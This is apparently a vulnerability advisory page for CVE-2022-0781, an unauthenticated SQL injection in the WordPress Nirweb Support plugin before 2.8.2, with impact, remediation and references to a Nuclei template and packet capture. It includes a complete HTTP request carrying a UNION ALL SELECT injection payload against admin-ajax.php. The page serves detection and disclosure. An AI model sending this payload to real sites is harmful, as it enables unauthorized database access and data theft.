🔙 목록으로 돌아가기

CVE-2022-0781: WordPress Nirweb Support <2.8.2 - SQL Injection

TitleWordPress Nirweb Support <2.8.2 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpdate to the latest version of the WordPress Nirweb Support plugin (2.8.2 or higher) to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.85118
CVE IDCVE-2022-0781
CWE IDCWE-89
Tags cve2022 cve wordpress wp-plugin wp sqli wpscan nirweb-support unauth nirweb vkev vuln

🔍 Vulnerability Description

WordPress Nirweb support plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5(4823),NULL,NULL,NULL,NULL,NULL-- -

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0781.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0781.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A